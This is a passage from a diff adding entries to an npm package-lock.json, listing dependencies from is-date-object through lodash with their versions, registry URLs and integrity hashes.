+ "integrity": "sha512-Z7dk6Qo8pOCp3l4tsX2C5ZVas4V+UxwQodwZhLopL91TX8UyyHEXafPcyoeeWuLrwzHcr3igO78wNLwHJHsMCQ==", + "dependencies": { + "has": "^1.0.3" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-date-object": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/is-date-object/-/is-date-object-1.0.5.tgz", + "integrity": "sha512-9YQaSxsAiSwcvS33MBk3wTCVnWK+HhF8VZR2jRxehM16QcVOdHqPn4VPHmRK4lSr38n9JriurInLcP90xsYNfQ==", + "dev": true, + "dependencies": { + "has-tostringtag": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-decimal": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/is-decimal/-/is-decimal-1.0.4.tgz", + "integrity": "sha512-RGdriMmQQvZ2aqaQq3awNA6dCGtKpiDFcOzrTWrDAT2MiWrKQVPmxLGHl7Y2nNu6led0kEyoX0enY0qXYsv9zw==", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/is-docker": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/is-docker/-/is-docker-2.2.1.tgz", + "integrity": "sha512-F+i2BKsFrH66iaUFc0woD8sLy8getkwTwtOBjvs56Cx4CgJDeKQeqfz8wAYiSb8JOprWhHH5p77PbmYCvvUuXQ==", + "bin": { + "is-docker": "cli.js" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/is-extendable": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-0.1.1.tgz", + "integrity": "sha512-5BMULNob1vgFX6EjQw5izWDxrecWK9AM72rugNr0TFldMOi0fj6Jk+zeKIt0xGj4cEfQIJth4w3OKWOJ4f+AFw==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-extglob": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", + "integrity": "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-finalizationregistry": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-finalizationregistry/-/is-finalizationregistry-1.0.2.tgz", + "integrity": "sha512-0by5vtUJs8iFQb5TYUHHPudOR+qXYIMKtiUzvLIZITZUjknFmziyBJuLhVRc+Ds0dREFlskDNJKYIdIzu/9pfw==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-fullwidth-code-point": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", + "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", + "engines": { + "node": ">=8" + } + }, + "node_modules/is-generator-function": { + "version": "1.0.10", + "resolved": "https://registry.npmjs.org/is-generator-function/-/is-generator-function-1.0.10.tgz", + "integrity": "sha512-jsEjy9l3yiXEQ+PsXdmBwEPcOxaXWLspKdplFUVI9vq1iZgIekeC0L167qeu86czQaxed3q/Uzuw0swL0irL8A==", + "dev": true, + "dependencies": { + "has-tostringtag": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-glob": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz", + "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==", + "dependencies": { + "is-extglob": "^2.1.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-hexadecimal": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/is-hexadecimal/-/is-hexadecimal-1.0.4.tgz", + "integrity": "sha512-gyPJuv83bHMpocVYoqof5VDiZveEoGoFL8m3BXNb2VW8Xs+rz9kqO8LOQ5DH6EsuvilT1ApazU0pyl+ytbPtlw==", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/is-installed-globally": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/is-installed-globally/-/is-installed-globally-0.4.0.tgz", + "integrity": "sha512-iwGqO3J21aaSkC7jWnHP/difazwS7SFeIqxv6wEtLU8Y5KlzFTjyqcSIT0d8s4+dDhKytsk9PJZ2BkS5eZwQRQ==", + "dependencies": { + "global-dirs": "^3.0.0", + "is-path-inside": "^3.0.2" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/is-map": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/is-map/-/is-map-2.0.2.tgz", + "integrity": "sha512-cOZFQQozTha1f4MxLFzlgKYPTyj26picdZTx82hbc/Xf4K/tZOOXSCkMvU4pKioRXGDLJRn0GM7Upe7kR721yg==", + "dev": true, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-negative-zero": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/is-negative-zero/-/is-negative-zero-2.0.2.tgz", + "integrity": "sha512-dqJvarLawXsFbNDeJW7zAz8ItJ9cd28YufuuFzh0G8pNHjJMnY08Dv7sYX2uF5UpQOwieAeOExEYAWWfu7ZZUA==", + "dev": true, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-npm": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/is-npm/-/is-npm-5.0.0.tgz", + "integrity": "sha512-WW/rQLOazUq+ST/bCAVBp/2oMERWLsR7OrKyt052dNDk4DHcDE0/7QSXITlmi+VBcV13DfIbysG3tZJm5RfdBA==", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/is-number": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", + "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", + "engines": { + "node": ">=0.12.0" + } + }, + "node_modules/is-number-object": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/is-number-object/-/is-number-object-1.0.7.tgz", + "integrity": "sha512-k1U0IRzLMo7ZlYIfzRu23Oh6MiIFasgpb9X76eqfFZAqwH44UI4KTBvBYIZ1dSL9ZzChTB9ShHfLkR4pdW5krQ==", + "dev": true, + "dependencies": { + "has-tostringtag": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-obj": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/is-obj/-/is-obj-1.0.1.tgz", + "integrity": "sha512-l4RyHgRqGN4Y3+9JHVrNqO+tN0rV5My76uW5/nuO4K1b6vw5G8d/cmFjP9tRfEsdhZNt0IFdZuK/c2Vr4Nb+Qg==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-path-cwd": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/is-path-cwd/-/is-path-cwd-2.2.0.tgz", + "integrity": "sha512-w942bTcih8fdJPJmQHFzkS76NEP8Kzzvmw92cXsazb8intwLqPibPPdXf4ANdKV3rYMuuQYGIWtvz9JilB3NFQ==", + "engines": { + "node": ">=6" + } + }, + "node_modules/is-path-inside": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/is-path-inside/-/is-path-inside-3.0.3.tgz", + "integrity": "sha512-Fd4gABb+ycGAmKou8eMftCupSir5lRxqf4aD/vd0cD2qc4HL07OjCeuHMr8Ro4CoMaeCKDB0/ECBOVWjTwUvPQ==", + "engines": { + "node": ">=8" + } + }, + "node_modules/is-plain-object": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/is-plain-object/-/is-plain-object-2.0.4.tgz", + "integrity": "sha512-h5PpgXkWitc38BBMYawTYMWJHFZJVnBquFE57xFpjB8pJFiF6gZ+bU+WyI/yqXiFR5mdLsgYNaPe8uao6Uv9Og==", + "dependencies": { + "isobject": "^3.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-regex": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/is-regex/-/is-regex-1.1.4.tgz", + "integrity": "sha512-kvRdxDsxZjhzUX07ZnLydzS1TU/TJlTUHHY4YLL87e37oUA49DfkLqgy+VjFocowy29cKvcSiu+kIv728jTTVg==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "has-tostringtag": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-regexp": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-regexp/-/is-regexp-1.0.0.tgz", + "integrity": "sha512-7zjFAPO4/gwyQAAgRRmqeEeyIICSdmCqa3tsVHMdBzaXXRiqopZL4Cyghg/XulGWrtABTpbnYYzzIRffLkP4oA==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-root": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/is-root/-/is-root-2.1.0.tgz", + "integrity": "sha512-AGOriNp96vNBd3HtU+RzFEc75FfR5ymiYv8E553I71SCeXBiMsVDUtdio1OEFvrPyLIQ9tVR5RxXIFe5PUFjMg==", + "engines": { + "node": ">=6" + } + }, + "node_modules/is-set": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/is-set/-/is-set-2.0.2.tgz", + "integrity": "sha512-+2cnTEZeY5z/iXGbLhPrOAaK/Mau5k5eXq9j14CpRTftq0pAJu2MwVRSZhyZWBzx3o6X795Lz6Bpb6R0GKf37g==", + "dev": true, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-shared-array-buffer": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-shared-array-buffer/-/is-shared-array-buffer-1.0.2.tgz", + "integrity": "sha512-sqN2UDu1/0y6uvXyStCOzyhAjCSlHceFoMKJW8W9EU9cvic/QdsZ0kEU93HEy3IUEFZIiH/3w+AH/UQbPHNdhA==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-string": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/is-string/-/is-string-1.0.7.tgz", + "integrity": "sha512-tE2UXzivje6ofPW7l23cjDOMa09gb7xlAqG6jG5ej6uPV32TlWP3NKPigtaGeHNu9fohccRYvIiZMfOOnOYUtg==", + "dev": true, + "dependencies": { + "has-tostringtag": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-symbol": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/is-symbol/-/is-symbol-1.0.4.tgz", + "integrity": "sha512-C/CPBqKWnvdcxqIARxyOh4v1UUEOCHpgDa0WYgpKDFMszcrPcffg5uhwSgPCLD2WWxmq6isisz87tzT01tuGhg==", + "dev": true, + "dependencies": { + "has-symbols": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-typed-array": { + "version": "1.1.12", + "resolved": "https://registry.npmjs.org/is-typed-array/-/is-typed-array-1.1.12.tgz", + "integrity": "sha512-Z14TF2JNG8Lss5/HMqt0//T9JeHXttXy5pH/DBU4vi98ozO2btxzq9MwYDZYnKwU8nRsz/+GVFVRDq3DkVuSPg==", + "dev": true, + "dependencies": { + "which-typed-array": "^1.1.11" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-typedarray": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-typedarray/-/is-typedarray-1.0.0.tgz", + "integrity": "sha512-cyA56iCMHAh5CdzjJIa4aohJyeO1YbwLi3Jc35MmRU6poroFjIGZzUzupGiRPOjgHg9TLu43xbpwXk523fMxKA==" + }, + "node_modules/is-weakmap": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/is-weakmap/-/is-weakmap-2.0.1.tgz", + "integrity": "sha512-NSBR4kH5oVj1Uwvv970ruUkCV7O1mzgVFO4/rev2cLRda9Tm9HrL70ZPut4rOHgY0FNrUu9BCbXA2sdQ+x0chA==", + "dev": true, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-weakref": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-weakref/-/is-weakref-1.0.2.tgz", + "integrity": "sha512-qctsuLZmIQ0+vSSMfoVvyFe2+GSEvnmZ2ezTup1SBse9+twCCeial6EEi3Nc2KFcf6+qz2FBPnjXsk8xhKSaPQ==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-weakset": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/is-weakset/-/is-weakset-2.0.2.tgz", + "integrity": "sha512-t2yVvttHkQktwnNNmBQ98AhENLdPUTDTE21uPqAQ0ARwQfGeQKRVS0NNurH7bTf7RrvcVn1OOge45CnBeHCSmg==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "get-intrinsic": "^1.1.1" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-whitespace-character": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/is-whitespace-character/-/is-whitespace-character-1.0.4.tgz", + "integrity": "sha512-SDweEzfIZM0SJV0EUga669UTKlmL0Pq8Lno0QDQsPnvECB3IM2aP0gdx5TrU0A01MAPfViaZiI2V1QMZLaKK5w==", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/is-word-character": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/is-word-character/-/is-word-character-1.0.4.tgz", + "integrity": "sha512-5SMO8RVennx3nZrqtKwCGyyetPE9VDba5ugvKLaD4KopPG5kR4mQ7tNt/r7feL5yt5h3lpuBbIUmCOG2eSzXHA==", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/is-wsl": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/is-wsl/-/is-wsl-2.2.0.tgz", + "integrity": "sha512-fKzAra0rGJUUBwGBgNkHZuToZcn+TtXHpeCgmkMJMMYx1sQDYaCSyjJBSCa2nH1DGm7s3n1oBnohoVTBaN7Lww==", + "dependencies": { + "is-docker": "^2.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/is-yarn-global": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/is-yarn-global/-/is-yarn-global-0.3.0.tgz", + "integrity": "sha512-VjSeb/lHmkoyd8ryPVIKvOCn4D1koMqY+vqyjjUfc3xyKtP4dYOxM44sZrnqQSzSds3xyOrUTLTC9LVCVgLngw==" + }, + "node_modules/isarray": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-0.0.1.tgz", + "integrity": "sha512-D2S+3GLxWH+uhrNEcoh/fnmYeP8E8/zHl644d/jdA0g2uyXvy3sb0qxotE+ne0LtccHknQzWwZEzhak7oJ0COQ==" + }, + "node_modules/isexe": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", + "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==" + }, + "node_modules/isobject": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", + "integrity": "sha512-WhB9zCku7EGTj/HQQRz5aUQEUeoQZH2bWcltRErOpymJ4boYE6wL9Tbr23krRPSZ+C5zqNSrSw+Cc7sZZ4b7vg==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/iterator.prototype": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/iterator.prototype/-/iterator.prototype-1.1.0.tgz", + "integrity": "sha512-rjuhAk1AJ1fssphHD0IFV6TWL40CwRZ53FrztKx43yk2v6rguBYsY4Bj1VU4HmoMmKwZUlx7mfnhDf9cOp4YTw==", + "dev": true, + "dependencies": { + "define-properties": "^1.1.4", + "get-intrinsic": "^1.1.3", + "has-symbols": "^1.0.3", + "has-tostringtag": "^1.0.0", + "reflect.getprototypeof": "^1.0.3" + } + }, + "node_modules/jest-util": { + "version": "29.6.3", + "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-29.6.3.tgz", + "integrity": "sha512-QUjna/xSy4B32fzcKTSz1w7YYzgiHrjjJjevdRf61HYk998R5vVMMNmrHESYZVDS5DSWs+1srPLPKxXPkeSDOA==", + "dependencies": { + "@jest/types": "^29.6.3", + "@types/node": "*", + "chalk": "^4.0.0", + "ci-info": "^3.2.0", + "graceful-fs": "^4.2.9", + "picomatch": "^2.2.3" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/jest-worker": { + "version": "29.6.3", + "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-29.6.3.tgz", + "integrity": "sha512-wacANXecZ/GbQakpf2CClrqrlwsYYDSXFd4fIGdL+dXpM2GWoJ+6bhQ7vR3TKi3+gkSfBkjy1/khH/WrYS4Q6g==", + "dependencies": { + "@types/node": "*", + "jest-util": "^29.6.3", + "merge-stream": "^2.0.0", + "supports-color": "^8.0.0" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/jest-worker/node_modules/supports-color": { + "version": "8.1.1", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-8.1.1.tgz", + "integrity": "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/supports-color?sponsor=1" + } + }, + "node_modules/jiti": { + "version": "1.19.3", + "resolved": "https://registry.npmjs.org/jiti/-/jiti-1.19.3.tgz", + "integrity": "sha512-5eEbBDQT/jF1xg6l36P+mWGGoH9Spuy0PCdSr2dtWRDGC6ph/w9ZCL4lmESW8f8F7MwT3XKescfP0wnZWAKL9w==", + "bin": { + "jiti": "bin/jiti.js" + } + }, + "node_modules/joi": { + "version": "17.9.2", + "resolved": "https://registry.npmjs.org/joi/-/joi-17.9.2.tgz", + "integrity": "sha512-Itk/r+V4Dx0V3c7RLFdRh12IOjySm2/WGPMubBT92cQvRfYZhPM2W0hZlctjj72iES8jsRCwp7S/cRmWBnJ4nw==", + "dependencies": { + "@hapi/hoek": "^9.0.0", + "@hapi/topo": "^5.0.0", + "@sideway/address": "^4.1.3", + "@sideway/formula": "^3.0.1", + "@sideway/pinpoint": "^2.0.0" + } + }, + "node_modules/js-tokens": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz", + "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==" + }, + "node_modules/js-yaml": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.1.0.tgz", + "integrity": "sha512-wpxZs9NoxZaJESJGIZTyDEaYpl0FKSA+FB9aJiyemKhMwkxQg63h4T1KJgUGHpTqPDNRcmmYLugrRjJlBtWvRA==", + "dependencies": { + "argparse": "^2.0.1" + }, + "bin": { + "js-yaml": "bin/js-yaml.js" + } + }, + "node_modules/jsesc": { + "version": "2.5.2", + "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-2.5.2.tgz", + "integrity": "sha512-OYu7XEzjkCQ3C5Ps3QIZsQfNpqoJyZZA99wd9aWd05NCtC5pWOkShK2mkL6HXQR6/Cy2lbNdPlZBpuQHXE63gA==", + "bin": { + "jsesc": "bin/jsesc" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/json-buffer": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/json-buffer/-/json-buffer-3.0.0.tgz", + "integrity": "sha512-CuUqjv0FUZIdXkHPI8MezCnFCdaTAacej1TZYulLoAg1h/PhwkdXFN4V/gzY4g+fMBCOV2xF+rp7t2XD2ns/NQ==" + }, + "node_modules/json-parse-even-better-errors": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/json-parse-even-better-errors/-/json-parse-even-better-errors-2.3.1.tgz", + "integrity": "sha512-xyFwyhro/JEof6Ghe2iz2NcXoj2sloNsWr/XsERDK/oiPCfaNhl5ONfp+jQdAZRQQ0IJWNzH9zIZF7li91kh2w==" + }, + "node_modules/json-schema-traverse": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", + "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==" + }, + "node_modules/json-stable-stringify-without-jsonify": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/json-stable-stringify-without-jsonify/-/json-stable-stringify-without-jsonify-1.0.1.tgz", + "integrity": "sha512-Bdboy+l7tA3OGW6FjyFHWkP5LuByj1Tk33Ljyq0axyzdk9//JSi2u3fP1QSmd1KNwq6VOKYGlAu87CisVir6Pw==", + "devOptional": true + }, + "node_modules/json5": { + "version": "2.2.3", + "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.3.tgz", + "integrity": "sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg==", + "bin": { + "json5": "lib/cli.js" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/jsonfile": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-6.1.0.tgz", + "integrity": "sha512-5dgndWOriYSm5cnYaJNhalLNDKOqFwyDB/rr1E9ZsGciGvKPs8R2xYGCacuf3z6K1YKDz182fd+fY3cn3pMqXQ==", + "dependencies": { + "universalify": "^2.0.0" + }, + "optionalDependencies": { + "graceful-fs": "^4.1.6" + } + }, + "node_modules/jsx-ast-utils": { + "version": "3.3.5", + "resolved": "https://registry.npmjs.org/jsx-ast-utils/-/jsx-ast-utils-3.3.5.tgz", + "integrity": "sha512-ZZow9HBI5O6EPgSJLUb8n2NKgmVWTwCvHGwFuJlMjvLFqlGG6pjirPhtdsseaLZjSibD8eegzmYpUZwoIlj2cQ==", + "dev": true, + "dependencies": { + "array-includes": "^3.1.6", + "array.prototype.flat": "^1.3.1", + "object.assign": "^4.1.4", + "object.values": "^1.1.6" + }, + "engines": { + "node": ">=4.0" + } + }, + "node_modules/keyv": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/keyv/-/keyv-3.0.0.tgz", + "integrity": "sha512-eguHnq22OE3uVoSYG0LVWNP+4ppamWr9+zWBe1bsNcovIMy6huUJFPgy4mGwCd/rnl3vOLGW1MTlu4c57CT1xA==", + "dependencies": { + "json-buffer": "3.0.0" + } + }, + "node_modules/kind-of": { + "version": "6.0.3", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.3.tgz", + "integrity": "sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/kleur": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/kleur/-/kleur-3.0.3.tgz", + "integrity": "sha512-eTIzlVOSUR+JxdDFepEYcBMtZ9Qqdef+rnzWdRZuMbOywu5tO2w2N7rqjoANZ5k9vywhL6Br1VRjUIgTQx4E8w==", + "engines": { + "node": ">=6" + } + }, + "node_modules/klona": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/klona/-/klona-2.0.6.tgz", + "integrity": "sha512-dhG34DXATL5hSxJbIexCft8FChFXtmskoZYnoPWjXQuebWYCNkVeV3KkGegCK9CP1oswI/vQibS2GY7Em/sJJA==", + "engines": { + "node": ">= 8" + } + }, + "node_modules/latest-version": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/latest-version/-/latest-version-5.1.0.tgz", + "integrity": "sha512-weT+r0kTkRQdCdYCNtkMwWXQTMEswKrFBkm4ckQOMVhhqhIMI1UT2hMj+1iigIhgSZm5gTmrRXBNoGUgaTY1xA==", + "dependencies": { + "package-json": "^6.3.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/launch-editor": { + "version": "2.6.0", + "resolved": "https://registry.npmjs.org/launch-editor/-/launch-editor-2.6.0.tgz", + "integrity": "sha512-JpDCcQnyAAzZZaZ7vEiSqL690w7dAEyLao+KC96zBplnYbJS7TYNjvM3M7y3dGz+v7aIsJk3hllWuc0kWAjyRQ==", + "dependencies": { + "picocolors": "^1.0.0", + "shell-quote": "^1.7.3" + } + }, + "node_modules/leven": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/leven/-/leven-3.1.0.tgz", + "integrity": "sha512-qsda+H8jTaUaN/x5vzW2rzc+8Rw4TAQ/4KjB46IwK5VH+IlVeeeje/EoZRpiXvIqjFgK84QffqPztGI3VBLG1A==", + "engines": { + "node": ">=6" + } + }, + "node_modules/levn": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/levn/-/levn-0.4.1.tgz", + "integrity": "sha512-+bT2uH4E5LGE7h/n3evcS/sQlJXCpIp6ym8OWJ5eV6+67Dsql/LaaT7qJBAt2rzfoa/5QBGBhxDix1dMt2kQKQ==", + "devOptional": true, + "dependencies": { + "prelude-ls": "^1.2.1", + "type-check": "~0.4.0" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/lilconfig": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/lilconfig/-/lilconfig-2.1.0.tgz", + "integrity": "sha512-utWOt/GHzuUxnLKxB6dk81RoOeoNeHgbrXiuGk4yyF5qlRz+iIVWu56E2fqGHFrXz0QNUhLB/8nKqvRH66JKGQ==", + "engines": { + "node": ">=10" + } + }, + "node_modules/lines-and-columns": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/lines-and-columns/-/lines-and-columns-1.2.4.tgz", + "integrity": "sha512-7ylylesZQ/PV29jhEDl3Ufjo6ZX7gCqJr5F7PKrqc93v7fzSymt1BpwEU8nAUXs8qzzvqhbjhK5QZg6Mt/HkBg==" + }, + "node_modules/loader-runner": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/loader-runner/-/loader-runner-4.3.0.tgz", + "integrity": "sha512-3R/1M+yS3j5ou80Me59j7F9IMs4PXs3VqRrm0TU3AbKPxlmpoY1TNscJV/oGJXo8qCatFGTfDbY6W6ipGOYXfg==", + "engines": { + "node": ">=6.11.5" + } + }, + "node_modules/loader-utils": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-2.0.4.tgz", + "integrity": "sha512-xXqpXoINfFhgua9xiqD8fPFHgkoq1mmmpE92WlDbm9rNRd/EbRb+Gqf908T2DMfuHjjJlksiK2RbHVOdD/MqSw==", + "dependencies": { + "big.js": "^5.2.2", + "emojis-list": "^3.0.0", + "json5": "^2.1.2" + }, + "engines": { + "node": ">=8.9.0" + } + }, + "node_modules/locate-path": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz", + "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==", + "dependencies": { + "p-locate": "^4.1.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/lodash": { + "version": "4.17.21", + "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz", + "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==" + }, + "node_modules/lodash.curry": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/lodash.curry/-/lodash.curry-4.1.1.tgz", + "integrity": "sha512-/u14pXGviLaweY5JI0IUzgzF2J6Ne8INyzAZjImcryjgkZ+ebruBxy2/JaOOkTqScddcYtakjhSaeemV8lR0tA==" + }, + "node_modules/lodash.debounce": { + "version": "4.0.8", + "resolved": "https://registry.npmjs.org/lodash.debounce/-/lodash.debounce-4.0.8.tgz", + "integrity": "sha512-FT1yDzDYEoYWhnSGnpE/4Kj1fLZkDFyqRb7fNt6FdYOSxlUWAtp42Eh6Wb0rGIv/m9Bgo7x4GhQbm5Ys4SG5ow==" + }, + "node_modules/lodash.flow": { + "version": "3.5.0", + "resolved": 